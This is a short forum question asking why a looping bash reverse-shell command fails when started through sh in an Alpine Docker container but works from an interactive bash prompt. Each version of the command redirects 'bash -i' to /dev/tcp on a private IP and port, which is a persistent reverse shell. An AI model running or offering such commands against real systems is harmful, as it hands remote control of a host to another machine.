I am trying to create a container that connects to a specific IP and port but it doesn't work for me with bash, only with regular shell.
When I create the container with bash redirection like that:
docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'
I am getting the following errors:
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
But if I will create it separately like that:
$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done
It will work.
I read this similar case but he wrote it should work from vesrion 2+ and I have 4.4.